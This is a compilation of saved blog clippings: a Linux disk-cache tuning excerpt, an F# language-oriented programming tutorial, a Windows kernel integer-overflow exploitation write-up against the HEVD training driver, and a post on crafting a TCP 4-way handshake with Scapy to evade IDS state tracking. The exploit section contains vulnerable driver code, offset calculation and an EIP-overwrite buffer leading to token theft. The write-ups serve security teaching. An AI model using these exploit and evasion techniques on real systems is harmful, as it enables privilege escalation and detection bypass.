cache, and just need to do one write every so often to the actual disk. To do
this we raise the parameters:

[code]

    vm.dirty_background_ratio = 50
    vm.dirty_ratio = 80
[/code]

Sometimes folks also increase the vm.dirty\_expire\_centisecs parameter to
allow more time in cache. Beyond the increased risk of data loss, you also run
the risk of long I/O pauses if that cache gets full and needs to destage,
because on large VMs there will be a lot of data in cache.

## Approach 3: Both Ways

There are also scenarios where a system has to deal with infrequent, bursty
traffic to slow disk \(batch jobs at the top of the hour, midnight, writing to
an SD card on a Raspberry Pi, etc.\). In that case an approach might be to
allow all that write I/O to be deposited in the cache so that the background
flush operations can deal with it asynchronously over time:

[code]

    vm.dirty_background_ratio = 5
    vm.dirty_ratio = 80
[/code]

Here the background processes will start writing right away when it hits that
5% ceiling but the system won’t force synchronous I/O until it gets to 80%
full. From there you just size your system RAM and vm.dirty\_ratio to be able
to consume all the written data. Again, there are tradeoffs with data
consistency on disk, which translates into risk to data. Buy a UPS and make
sure you can destage cache before the UPS runs out of power. :\)

No matter the route you choose you should always be gathering hard data to
support your changes and help you determine if you are improving things or
making them worse. In this case you can get data from many different places,
including the application itself, /proc/vmstat, /proc/meminfo, iostat, vmstat,
and many of the things in /proc/sys/vm. Good luck\!

Tagged as: disk cache, Linux VM Performance Tuning, performance, tuning,
vm.dirty\_background\_ratio, vm.dirty\_ratio, vmstat

# F\# Overview \(IV.\) - Language Oriented Programming | Blog | TomasP.Net
**Created:**| _11/10/2009 12:23:51 PM_  
---|---  
**Updated:**| _11/10/2009 12:24:18 PM_  
**Author:**| __  
**Tags:**| _Tutorials programming F\#_  
  

# F\# Overview \(IV.\) - Language Oriented Programming

Defining precisely what the term  _language oriented programming_ means in
context of the F\# language would be difficult, so I will instead explain a
few examples that will demonstrate how I understand it. In general, the goal
of language oriented programming is to develop a  _language_ that would be
suitable for some \(more specific\) class of tasks and use this language for
solving these tasks. Of course, developing a real programming language is
extremely complex problem, so there are several ways for making it easier. As
the most elementary example, you can look at XML files \(with certain schema\)
as language that are processed by your program and solve some specific problem
\(for example configuring the application\). As a side note, I should mention
that I'm not particularly happy with the term ‘language’ in this context,
because the term can be used for describing a wide range of techniques from
very trivial constructs to a complex object-oriented class libraries, but I
have not seen any better term for the class of techniques that I’m going to
talk about.

What I will focus on in this article is using languages inside F\# - this
means that the custom language will be always a subset of the F\# language,
but we will look at ways for giving it a different meaning than the standard
F\# code would have. In some articles you can also see the term  _domain
specific language_ , which is quite close to what we're discussing here. The
domain specific language is a language suitable for solving some class of
problems and in general it can be either  _external_ , meaning that it is a
separate language \(e.g. a XML file\) or an  _internal_ , meaning that it is
written using a subset of the host language. Using this terminology, we will
focus on writing _internal DSLs_ in F\#.

Since this term is not as widely used as functional or object oriented
programming which we discussed in earlier articles in this series \(Functional
Programming \[^\], Object Oriented and Imperative Programming \[^\]\), let me
very quickly introduce why I believe that this is an important topic. I think
the main reason why language oriented development is appealing paradigm is
that it allows very smooth cooperation of people working on the project -
there are people who develop the language and those who use it. The language
developers need to have advanced knowledge of the technology \(F\#\) and also
of the problem that their language is trying to solve \(e.g. some mathematical
processing\), but they don't need to know about all the problems that are
being solved using the language. On the other side, the users of the language
need only basic F\# knowledge and they can fully focus on solving the real
problems.

## Discriminated Union as Declarative Language

Probably the simplest example of domain-specific language that can be embedded
in the F\# code is a discriminated union, which can be used for writing
declarative specifications of behavior or for example for representing and
processing mathematical expressions:

[code]

    > type Expr = 
      | Binary of string * Expr * Expr
      | Var    of string 
      | Const  of int;;
    (...)
    
    > let e = Binary("+", Const(2), Binary("*", Var("x"), Const(4)));;
    val e : Expr
    
    
[/code]

In this example we created a discriminated union and used it for building a
value representing a mathematical expression. This is of course very primitive
‘language’, but when you implement functions for working with these values
\(for example differentiation or evaluation\) you’ll get a simple language for
processing mathematical expressions inside F\#. Another problems that could be
solved using this technique include for example configuration of some
graphical user interface or definition of template for some simple data
manipulation.

## Active Patterns

A language feature that is closely related to discriminated unions is called
active patterns. Active patterns can be used for providing different views on
some data type, which allows us to hide the internal representation of the
type and publish only these views. Active patterns are similar to
discriminated unions, because they can provide several views on a single value
\(in the previous example we had a value that we could view either as
`Binary`, `Var` or `Const`\) and similarly as constructors of discriminated
union, active patterns can be used in pattern matching constructs.

A typical example, where a type can be viewed using different views is a
complex number, which can be either viewed in a Cartesian representation
\(real and imaginary part\) or in a polar form \(absolute value and phase\).
Once the module provides these two views for a complex number type, the
internal representation of the type can be hidden, because all users of the
type will work with the number using active patterns, which also makes it easy
to change the implementation of the type as needed.

It is recommended to use active patterns in public library API instead of
exposing the names of discriminated union constructors, because this makes it
possible to change the internal representation without breaking the existing
code. The second possible use of active patterns is extending the ‘vocabulary’
of a language built using discriminated union. In the following example we
will implement an active pattern `Commutative` that allows us to decompose a
value of type `Expr` into a call to commutative binary operator:

[code]

    > let (|Commutative|_|) x =
        match x with
        | Binary(s, e1, e2) when (s = "+") || (s = "*") -> Some(s, e1, e2)
        | _ -> None;;
    val ( |Commutative|_| ) : Expr -> (string * Expr * Expr) option
    
    
[/code]

As you can see, the declaration of active pattern looks like a function
declaration, but uses a strangely looking function name. In this case we use
the `(|PatternName|_|)` syntax, which declares a pattern that can return a
successful match or can fail. The pattern has a single argument \(of type
`Expr`\) and returns an option type, which can be either `Some(...)` when the
value matches the pattern or`None`. As we will show later, the patterns that
can fail can be used in a match construct, where you can test a value against
several different patterns.

As demonstrated in this example, active patterns can be used in a similar
sense in which you can use discriminated unions to define a language for
constructing the values. The key difference is that discriminated unions can
be used for building the value \(meaning that they will be used by all users
of the language\) and active patterns are used for decomposing the values and
so they will be used in a code that interprets the language \(written usually
by the language designer\) or by some pre-processing or optimizing code
\(written by advanced users of the language\).

In the next example we will look at one advanced example of using the
numerical language that we define earlier. We will implement a function that
tests whether two expressions are equal using the commutativity rule, meaning
that for example `10*(a+5)`will be considered as equal to `(5+a)*10`:

[code]

    > let rec equal e1 e2 = 
        match e1, e2 with
        | Commutative(o1, l1, r1), Commutative(o2, l2, r2) ->
           (o1 = o2) && (equal l1 r2) && (equal r1 l2)
        | _ -> e1 = e2;;
    val equal : Expr -> Expr -> bool
    
    > let e1 = Binary("*", Binary("+", Const(10), Var("x")), Const(4));;
      let e2 = Binary("*", Const(4), Binary("+", Var("x"), Const(10)));;
      equal e1 e2;;
    val it : bool = true
    
[/code]

As you can see, implementing the `equal` function that uses the commutativity
rule is much easier using the `Commutative` active pattern than it would be
explicitly by testing if the value is a use of specific binary operator. Also,
when we’ll introduce a new commutative operator, we’ll only need to modify the
active pattern and the `equal` function will work correctly.

## Sequence comprehensions

Before digging deeper into advanced language-oriented features of F\#, I'll
need to do a small digression and talk about  _sequence comprehensions_. This
is a language construct that allows us to generate sequences, lists and arrays
of data in F\# and as we will see later it can be generalized to allow solving
several related problems. Anyway, let's first look at an example that filters
an F\# list:

[code]

    > let people = [ ("Joe", 55); ("John", 32); ("Jane", 24); ("Jimmy", 42) ];;
    val people : (string * int) list
    
    > [ for (name, age) in people
        when age < 30
        -> name ];;
    val it : string list = ["Jane"]
    
[/code]

In this example we first declared a list with some data and then used a
sequence expression, wrapped between square brackets `[`and `]`, to select
only some elements from the list. The use of square brackets indicate that the
result should be an F\# list \(you can also use`[| .. |]` to get an array or
`seq { .. }` to get a sequence as I'll show later\). The code inside the
comprehension can contain most of the ordinary F\# expressions, but in this
example I used one extension, the `when .. ->` construct, which can be used
for typical filtering and projection operations. The same code can be written
like this:

[code]

    > [ for (name, age) in people do
        if (age < 30) then
          yield name ];;
    val it : string list = ["Jane"]
    
[/code]

In this example, we used an ordinary `for .. do` loop \(in the previous
example the `do` keyword was missing and we used `if .. then` condition
instead of `when`. Finally, returning a value from a sequence comprehension
can be done using the `yield` construct. The point of this example is to
demonstrate that the code inside the comprehension is not limited to some
specific set of expressions and can, in fact, contain very complex F\# code. I
will demonstrate the flexibility of sequence comprehensions in one more
example - the code will generate all possible words \(of specified length\)
that can be generated using the given alphabet:

[code]

    > let rec generateWords letters start len =
        seq { for l in letters do
                let word = (start ^ l)
                if len = 1 then
                  yield  word
                if len > 1 then
                  yield! generateWords letters word (len-1) }
    val generateWords : #seq<string> -> string -> int -> seq<string>
                  
    > generateWords ["a"; "b"; "c"] "" 4;;
    val it : seq<string> = seq ["aaaa"; "aaab"; "aaac"; "aaba"; ...]
    
    
[/code]

This example introduces two interesting constructs. First of all, we're using
`seq { .. }` expression to build the sequence, which is a lazy data structure,
meaning that the code will be evaluated on demand. When you ask for the next
element, it will continue evaluating until it reaches `yield` construct, which
returns a word and then it will block again \(until you ask for the next
element\). The second interesting fact is that the code is recursive - the
`generateWord` function calls itself using `yield!` construct, which first
computes the elements from the given sequence and then continues with
evaluation of the remaining elements in the current comprehension.

## F\# Computation Expression

The next F\# feature that we will look at can be viewed as a generalization of
the sequence comprehensions. In general, it allows you to declare blocks
similar to the `seq { .. }` block that execute the F\# code in a slightly
different way. In the case of `seq` this difference is that the code can
return multiple values using `yield`.

In the next example we will implement a similar block called `maybe` that
performs some computation and returns `Some(res)`when the computation
succeeds, but it can also stop its execution when some operation fails and
return `None` immediately, without executing the rest of the code inside the
block. Let's first implement a simple function that can either return some
value or can fail and return `None`:

[code]

    let readNum () =
      let s = Console.ReadLine()
      let succ,v = Int32.TryParse(s)
      if (succ) then Some(v) else None
    
    
[/code]

Now, we can write a code that reads two numbers from the console and adds them
together, producing a value `Some(a+b)`. However, when a call to `readNum`
fails, we want to return `None` immediately without executing the second call
to `readNum`. This is exactly what the `maybe` block will do \(I'll show the
implementation of the block shortly\):

[code]

    let n = 
      maybe { do   printf "Enter a: "
              let! a = readNum()
              do   printf "Enter b: "
              let! b = readNum()
              return a + b }  
    printf "Result is: %A" n
    
[/code]

The code inside the block first calls `printf` and then uses a `let!`
construct to call the `readNum` function. This operation is called _monadic
bind_ and the implementation of `maybe` block specifies the behavior of this
operation. Similarly, it can also specify behavior of the `do` and `return`
operation, but in this example the `let!` is the most interesting, because it
tests whether the computed value is `None`and stops the execution in such case
\(otherwise it starts executing the rest of the block\).

Before looking at the implementation of the `maybe` block, let's look at the
type of the functions that we'll need to implement. Every block \(usually
called  _computation expression_ in F\#\) is implemented by a  _monadic
builder_ which has the following members that define elementary operators:

[code]

    // Signature of the builder for monad M
    type MaybeBuilder with
      member Bind   : M<'a> * ('a -> M<'b>) -> M<'b>
      member Return : 'a -> M<'a>
      member Delay  : (unit -> M<'a>) -> M<'a>
    
    
[/code]

We'll shortly discuss how the F\# compiler uses these members to execute the
computation expression, but let me first add a few short comments for those
who are familiar with Haskell monads. The `Bind` and `Return` members specify
the standard monadic operators \(known from Haskell\), meaning that `Bind` is
used when we use the `let!` operator in the code and `Return` is called when
the computation expression contains `return` and finally, the `Delay` member
allows building monads that are executed lazily.

The computation expression block is just a syntactic extension that makes it
possible to write a code that uses the monadic operations, but is similar to
an ordinary F\# code. This means that the code inside the computation
expression is simply translated to calls to the basic monadic operation, which
we looked at earlier. The following example should put some light on the
problem, because it shows how the F\# compiler translates the code written
using the `maybe` block:

[code]

    maybe.Delay(fun () ->
      printf "Enter a"
      maybe.Bind(readNum(), fun a ->
        printf "Enter b"
        maybe.Bind(readNum(), fun b ->
          maybe.Return(a + b))
    
[/code]

As we can see, the original code is split into single expressions and these
are evaluated separately as arguments of the monadic operations. It is also
important to note that the expression may not be evaluated, because this
depends on the behavior of the monadic operation.

For example, let's analyze the third line, where a first call to the `Bind`
operation occurs. The first argument will be evaluated asking for a user input
and will produce either `None` or `Some(n)`. The second argument is a function
that takes one argument \(`a`\) and executes the rest of the computation
expression. As you can see, the let binding in the original code was
translated to a call to the `Bind`operation which can perform some additional
processing and change the semantics and then assign a value to the variable by
calling the given function. Also note that the first argument of the `Bind`
operation is a  _monadic type_ \(in the signature presented above it
was`M<'a>`, while the argument of the function given as a second argument is
ordinary type \(unwrapped `'a`\). This means that the monadic type can hold
some additional information - in our `maybe` monad, the additional information
is a possibility of the failure of the operation.

Let's look at the implementation of the `maybe` monad now. The `Bind`
operation will test if the first argument is `Some(n)` and then it will call
the function given as a second argument with `n` as an argument. If the value
of the first argument is `None` the `Bind` operation just returns `None`. The
second key operation is `Result` which simply wraps an ordinary value into a
monadic type - in our example it will take a value `a` \(of type `'a`\) and
turn it into a value `Some(a)` \(of type M<'a>\):

[code]

    type M<'a> = option<'a>
    
    let bind f d = 
      match d with
       | None -> None
       | Some(v) -> f v
    let result v = Some(v)
    let delay  f = f()
      
    type MaybeBuilder() =
      member x.Bind(v, f) = bind v f
      member x.Return(v)  = result v
      member x.Delay(f)   = delay f 
      member x.Let(v, f)  = bind (result v) f
      
    let maybe = MaybeBuilder()
    
[/code]

In this example we looked at computation expressions and implemented a simple
_monadic builder_ for representing a computations that can fail. We
implemented support only for basic language constructs \(like `let` and
`let!`\), but in general the computation expression can allow using constructs
like `if`, `try .. when` and other. For more information, please refer to
\[1\]. Computation expressions are very powerful when you want to modify the
behavior of the F\# code, without changing the semantics of elementary
expressions, for example by adding a possibility to fail \(as we did in this
example\), or by executing the code asynchronously \(as  _asynchronous
workflows_ \[2\], which are part of the F\# library do\).

## F\# Meta-Programming and Reflection

The last approach to language oriented programming that I’ll present in this
overview is using  _meta-programming_ capabilities of the F\# language and
.NET runtime. In general the term ‘meta-programming’ means writing a program
that treats code as data and manipulates with it in some way. In F\# this
technique can be used for translating a code written in F\# to other languages
or formats that can be executed in some other execution environment or it can
be used for analysis of the F\# code and for calculating some additional
properties of this code.

The meta-programming capabilities of F\# and .NET runtime can be viewed as a
two separate and orthogonal parts. The .NET runtime provides a way for
discovering all the types and top-level method definitions in a running
program: this API is called  _reflection_. F\#  _quotations_ provide a second
part of the full meta-programming support - they can be used for extracting an
abstract syntax trees of members discovered using the .NET reflection
mechanism \(note that the F\#  _quotations_ are a feature of the F\# compiler
and as such can’t be produced by C\# or VB compilers\).

### .NET and F\# Reflection

The F\# library also extends the .NET `System.Reflection` to give additional
information about F\# data types – for example we can use the F\# reflection
library to examine possible values of the `Expr` type \(discriminated union\)
declared earlier:

[code]

    > open Microsoft.FSharp.Reflection;;
    > let exprTy = typeof<Expr>
      if FSharpType.IsUnion(exprTy) then
        let opts = FSharpType.GetUnionCases(exprTy)
        opts |> Array.map (fun m -> m.Name)
      else
        [| |];;
    val it : string[] = [| "Binary"; "Var"; "Const" |]
    
[/code]

An important part of the .NET reflection mechanism is the use of custom
attributes, which can be used to annotate any program construct accessible via
reflection with additional metadata. The following example demonstrates the
syntax for attributes in F\# by declaring `Documentation` attribute \(simply
by inheriting from the `System.Attribute` base class\) and also demonstrates
how a static method in a class can be annotated with the attribute:

[code]

    type DocumentationAttribute(doc:string) =
      inherit System.Attribute()
      member x.Documentation = doc
    
    type Demo =
      [<Documentation("Adds one to a given number")>]
      static member AddOne x = x + 1
    
[/code]

Using the .NET `System.Reflection` library it is possible to examine members
of the `Demo` type including reading of the associated attributes \(which are
stored in the compiled DLL and are available at run-time\):

[code]

    > let ty = typeof<Demo>
      let mi = ty.GetMethod("AddOne")
      let at = mi.GetCustomAttributes
                    (typeof<DocumentationAttribute>, false)
      (at.[0] :?> DocumentationAttribute).Doc;;
    val it : string = "Adds one to a given number"
    
[/code]

### F\# Quotations

F\# quotations form the second part of the meta-programming mechanism, by
allowing the capture of type-checked F\# expressions as structured terms.
There are two ways for capturing quotations – the first way is to use
quotation literals and explicitly mark a piece of code as a quotation and the
second way is to use `ReflectedDefinition` attribute, which instructs the
compiler to store quotation data for a specified top-level member. The
following example demonstrates a few simple quoted F\# expressions – the
quoted expressions are ordinary type-checked F\# expressions wrapped between
<@ and @>:

[code]

    > open Microsoft.FSharp.Quotations;;
    > <@ 1 + 1 @>
    val it : Expr<int>
    
    > <@ (fun x -> x + 1) @>
    val it : Expr<int -> int>
    
[/code]

Quotation processing is usually done on the raw representation of the
quotations, which is represented by the non-generic `Expr`type \(however the
type information about the quoted expression is still available dynamically
via the `Type` property\). The following example implements a trivial
evaluator for quotations. `GenericTopDefnApp` is an active pattern that
matches with the use of a function given as a first argument \(in this example
a plus operator\), the `Int32` pattern recognizes a constant of type `int`\):

[code]

    > open Microsoft.FSharp.Quotations.Patterns;;
    > open Microsoft.FSharp.Quotations.DerivedPatterns;;
    > let plusOp = <@ (+) @>
      let rec eval x =
        match x with
        | SpecificCall plusOp (_, [l; r]) ->
            (eval l) + (eval r)
        | Int32(n) -> 
            n
        | _ ->        
            failwith "unknonw construct"  
    val eval : Expr -> int
    
    > let tst = <@ (1+2) + (3+4) @>
      eval tst
    val it : int = 10
    
[/code]

### Quotation Templates and Splicing

When generating quotations programmatically, it is often useful to build a
quotation by combining several elementary quotations into a one, more complex
quotation. This can be done by creating a  _quotation template_ , which is a
quotation that contains one or more _holes_. Holes are written using the
underscore symbol and define a place, where another quotation can be filled in
the template. In the following example, we will look at a template that
contains two holes and can be used for generating a quotation that represents
addition of two values:

[code]

    > let addTempl a b = <@ %a + %b @>;;
    val addTempl : Expr<int> -> Expr<int> -> Expr<int>
    
    > eval(addTempl <@ 2 @> <@ 40 @>);;
    val it : int = 42
    
[/code]

In this example, we first create a quotation template `addTempl`. This
template takes two expressions as parameters and constructs an expression that
represnts addition. The two expression given as an argument ar 'spliced' into
the created expression using the `%`operator. Note that the holes are typed,
meaning that the values that can be filled in the template have to be
quotations representing an expression of type `int`.

The splicing operator is also useful mechanism for providing input data for
programs that evaluate quotations. As you can see in the following example, we
can use it for embedding a value that represents a database table \(the `|>`
is a pipelining operator, which applies the argument on the left hand side to
the function on the right hand side\). This example is based on the FLINQ
project, which allows writing database queries in F\# and executing them as
SQL queries on a database engine:

[code]

    > <@ (%db).Customers 
          |> filter (fun x -> x.City = "London")
          |> map (fun x -> x.Name) @>
    val it : Expr<seq<string>>
    
[/code]

In the raw representation, the spliced value can be recognized using the
`LiftedValue` pattern, which returns a value of type `obj`, which can contain
any F\# value.

### Quoting Top-Level Definitions

The second option for quoting F\# code is by explicitly marking top-level
definitions with an attribute that instructs the F\# compiler to capture the
quotation of the entire definition body. This option is sometimes called
_non-intrusive meta-programming_ , because it allows processing of the member
body \(e.g. translating it to some other language and executing it
heterogeneously\), but doesn’t require any deep understanding of meta-
programming from the user of the library. The following code gives a simple
example:

[code]

    [<ReflectedDefinition>]
    let addOne x = 
      x + 1
    
[/code]

The quotation of a top-level definition \(which can be either a function or a
class member\) annotated using the`ReflectedDefinition` attribute is then made
available through the F\# quotation library at runtime using the reflection
mechanism described earlier, but the member is still available as a compiled
code and can be executed.

When a quotation represents a use of a top-level definition it is possible to
check if this top-level definition was annotated using the
`ReflectedDefinition` attribute and so the quotation of the definition is
accessible. This can be done using the`ResolveTopDefinition` function as
demonstrated in the following example:

[code]

    let expandedQuotation = 
      match <@ addOne @> with 
      | Lambda(_, Call(_, mi, _)) -> 
          match mi with
          | MethodWithReflectedDefinition(quot) -> quot
          | _ -> faliwith "Quotation not available!"
      | _ -> failwith "Not a method use!"      
    
    
[/code]

### Using Active Patterns with Quotations

As already mentioned, the programmatic access to F\# quotation trees uses F\#
active patterns, which allow the internal representation of quotation trees to
be hidden while still allowing the use of pattern matching as a convenient way
to decompose and analyze F\# quotation terms. Active-patterns can be also used
when implementing a quotation processor, because they can be used to group
similar cases together. In the following example we declare an active pattern
that recognizes two binary operations:

[code]

    let plusOp  = <@ (+) @>
    let minusOp = <@ (-) @>
    let (|BinaryOp|_|) x =
      match x with
      | SpecificCall plusOp (_, [l; r]) -> Some("+", l, r)
      | SpecificCall minusOp (_, [l; r]) -> Some("-", l, r)
      | _ -> None
    
    let rec eval x =
      match x with
      | BinaryOp (op, l, r) ->
          if (op = "+") then (eval l) + (eval r)
            else (eval l) - (eval r)
      (* ... *)
    
    
[/code]

In this example we declared `BinaryOp` active pattern, which can be used for
matching a quotation that represents either addition or subtraction. In a code
that processes quotations, grouping of related cases together by using active
patterns is very useful, because you can define active patterns for all
quotation types that your translator or analyzer can process, factor out all
the code that recognizes all the supported cases and keep the translator or
analyzer itself very simple.

## Article Series Links

  * F\# Overview \(I.\) - Introduction
  * F\# Overview \(II.\) - Functional Programming
  * F\# Overview \(III.\) - Object Oriented and Imperative Programming
  * F\# Overview \(IV.\) - Language Oriented Programming

## References

  *   * \[1\] Some Details on F\# Computation Expressions \[^\] - Don Syme's WebLog on F\# and Other Research Projects
  * \[2\] Introducing F\# Asynchronous Workflows \[^\] - Don Syme's WebLog on F\# and Other Research Projects

# abatchy's blog | \[Kernel Exploitation\] 5: Integer Overflow
**Created:**| _3/7/2018 8:44:19 AM_  
---|---  
**Updated:**| _3/7/2018 8:44:19 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

Saturday, January 13, 2018

  * Kernel Exploitation

# \[Kernel Exploitation\] 5: Integer Overflow

_This part shows how to exploit a vanilla integer overflow vulnerability. Post
builds up on lots of contents from part 3 & 4 so this is a pretty short one._

_Exploit code can be foundhere._

* * *
### 1\. The vulnerability

Link to code here.

[code]

    NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
        ULONG Count = 0;
        NTSTATUS Status = STATUS_SUCCESS;
        ULONG BufferTerminator = 0xBAD0B0B0;
        ULONG KernelBuffer[BUFFER_SIZE] = {0};
        SIZE_T TerminatorSize = sizeof(BufferTerminator);
    
        PAGED_CODE();
    
        __try {
            // Verify if the buffer resides in user mode
            ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
    
            DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
            DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
            DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
            DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
    
    #ifdef SECURE
            // Secure Note: This is secure because the developer is not doing any arithmetic
            // on the user supplied value. Instead, the developer is subtracting the size of
            // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
            // not occur and this check will not fail
            if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
                DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
    
                Status = STATUS_INVALID_BUFFER_SIZE;
                return Status;
            }
    #else
            DbgPrint("[+] Triggering Integer Overflow\n");
    
            // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
            // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
            // integer will wrap down and will finally cause this check to fail
            if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
                DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
    
                Status = STATUS_INVALID_BUFFER_SIZE;
                return Status;
            }
    #endif
    
            // Perform the copy operation
            while (Count < (Size / sizeof(ULONG))) {
                if (*(PULONG)UserBuffer != BufferTerminator) {
                    KernelBuffer[Count] = *(PULONG)UserBuffer;
                    UserBuffer = (PULONG)UserBuffer + 1;
                    Count++;
                }
                else {
                    break;
                }
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
    
        return Status;
    }
    
[/code]

Like the comment says, this is a vanilla integer overflow vuln caused by the
programmer not considering a very large buffer size being passed to the
driver. Any size from `0xfffffffc` to \`\`0xffffffff\` will cause this check
to be bypassed. Notice that the copy operation terminates if the terminator
value is encountered \(has to be 4-bytes aligned though\), so we don’t need to
submit a buffer length of size equal to the one we pass.

#### Exploitability on 64-bit

The `InBufferSize` parameter passed to `DeviceIoControl` is a DWORD, meaning
it’s always of size 4 bytes. In the 64-bit driver, the following code does the
comparison:

At `HEVD!TriggerIntegerOverflow+97`:

[code]

    fffff800`bb1c5ac7 lea     r11,[r12+4]
    fffff800`bb1c5acc cmp     r11,r13
    
[/code]

Comparison is done with 64-bit registers \(no prefix/suffix was used to cast
them to their 32-bit representation\). This way, `r11` will never overflow as
it’ll be just set to `0x100000003`, meaning that this vulnerability is **not
exploitable** on 64-bit machines.

Update: I didn’t realize it at first, but the reason those values are treated
fine in x64 arch is that all of them are of `size_t`.

* * *
### 2\. Controlling execution flow

First, we need to figure out the offset for EIP. Sending a small buffer and
calculating the offset between the kernel buffer address and the return
address will do:

[code]

    kd> g
    [+] UserBuffer: 0x00060000
    [+] UserBuffer Size: 0xFFFFFFFF
    [+] KernelBuffer: 0x8ACF8274
    [+] KernelBuffer Size: 0x800
    [+] Triggering Integer Overflow
    Breakpoint 3 hit
    HEVD!TriggerIntegerOverflow+0x84:
    93f8ca58 add     esp,24h
    
    kd> ? 0x8ACF8274 - @esp
    Evaluate expression: 16 = 00000010
    kd> ? (@ebp + 4) - 0x8ACF8274
    Evaluate expression: 2088 = 828
    
[/code]

Notice that you need to have the terminator value 4-bytes aligned as otherwise
it will use the submitted `Size` parameter which will ultimately result in
reading beyond the buffer and possibly causing an access violation.

Now we know that RET is at offset **2088**. The terminator value should be at
`2088 + 4`.

[code]

    char* uBuffer = (char*)VirtualAlloc(
    	NULL,
    	2088 + 4 + 4,               // EIP offset + 4 bytes for EIP + 4 bytes for terminator
    	MEM_COMMIT | MEM_RESERVE,
    	PAGE_EXECUTE_READWRITE);
    
    // Constructing buffer
    RtlFillMemory(uBuffer, SIZE, 'A');
    
    // Overwriting EIP
    DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
    *payload_address = (DWORD)&StealToken;
    
    // Copying terminator value
    RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);
    
[/code]

That’s pretty much it\! At the end of the payload \(`StealToken`\) you need to
make up for the missing stack frame by calling the remaining instructions
\(explained in detail in part 3\).

[code]

    pop ebp								; Restore saved EBP
    ret 8								; Return cleanly
    
[/code]

<img src='img/kernel6.png' width='579' height='297' alt='shell' />

Full exploit can be found here.

### 3\. Mitigating the vulnerability

  1. Handle all code paths that deal with arithmetics with extreme care \(especially when they’re user-supplied\). Check operants/result for overflow/underflow condition.
  2. Use an integer type that will be able to hold all possible outputs of the addition, although this might not be always possible.

SafeInt is worth checking out too.

### 4\. Recap

  1. Vulnerability was not exploitable on 64-bit systems due to the way the comparison takes place between two 64-bit registers and the maximum value passed to `DeviceIoControl` will never overflow.
  2. Submitted buffer had to contain a 4-byte terminator value. This is the simplest form of crafting a payload that needs to meet certain criteria.
  3. Although our buffer wasn’t of extreme size, “lying” about its length to the driver was possible.

* * *
\- Abatchy

  * __ __
  * __ __
  * __ __
  * __ __

  * 0 comments
  * **abatchy17.github.io**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13128_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' /><img
src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' />

  

# Token Token Kidnapping's Revenge

**Created:**| _8/13/2010 11:50:38 AM_  
---|---  
**Updated:**| _8/13/2010 11:50:50 AM_  
**Author:**| __  
**Tags:**| _attacks windows security windows environment_  
  
<img src='img/Temp2_8411' />

# More 4-Way Handshake Fun | Malware Forge
**Created:**| _4/15/2010 8:46:18 PM_  
---|---  
**Updated:**| _4/15/2010 8:46:32 PM_  
**Author:**| __  
**Tags:**| _packet-analysis network-security_  
  

## More 4-Way Handshake Fun

Submitted by famousjs on Tue, 04/13/2010 - 19:29

Rather than using **Scapy** to craft the 4-way handshake, which is **old
news**, I decided to make an actual web server that would respond with the
4-way handshake.

To briefly describe the 4-way handshake again...

Client -> SYN -> Server  
Client <\- SYN <\- Server  
Client -> SYN-ACK -> Server  
Client <\- ACK <\- Server  
Client -> GET -> Server

The only way this would benefit a site, is to avoid a state tracker that
happens to base to\_server streams on which side of the conversation initiated
with the first SYN packet.

Using some iptables rules first:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP  
iptables -A OUTPUT -p ICMP --icmp-type port-unreachable -j DROP

Now the server no longer responds with RST packets or port unreachable, for
UDP. We are free to listen for SYN packets and craft traffic with Scapy. Lets
start with index.html, and have the script read that in.

======

self.index = f.read\(\)

Listen for SYN packets to port 80...  
sniff\(filter="tcp dst port 80 && tcp\[13\] & 2 \!= 0", prn=self.procSyn\)

**Pull out useful information**  
self.srcIP = syn\[IP\].src  
self.dstIP = syn\[IP\].dst  
self.srcPort = syn\[TCP\].sport  
self.dstPort = syn\[TCP\].dport

iplayer = IP\(src=self.dstIP, dst=self.srcIP

**Make the server SYN**  
self.seq = 9001  
p = iplayer/TCP\(seq=self.seq, sport=self.dstPort, dport=self.srcPort,
flags="S"\)

**Send SYN and listen for the response**  
synack = sr1\(p, timeout=1\)

self.seq += 1  
self.ack = synack.seq + 1

**Send the ACK and Listen for GET request**  
p = iplayer/TCP\(seq=self.seq, ack=self.ack, sport=self.dstPort,
dport=self.srcPort, flags="A"\)

get = sr1\(p, timeout=1\)

**Grab the length of the GET request for response and return ACK Number**  
data\_len = len\(get\[Raw\]\)  
self.seq = get.ack  
self.ack = get.seq + data\_len

**Craft HTTP Server Response**  
payload = "HTTP/1.1 200 OK\r\nDate: Mon, 08 Mar 2010 03:17:15 CMD\r\nServer:
\r\nContent-Length: %s\r\nKeep-Alive: timeout=5, max=99\r\nConnection: Keep-
Alive\r\nContent-Type: text/html; charset=utf-8\r\n\r\n%s" %
\(str\(len\(self.index\)\), self.index\)

**ACK the Client GET request first**  
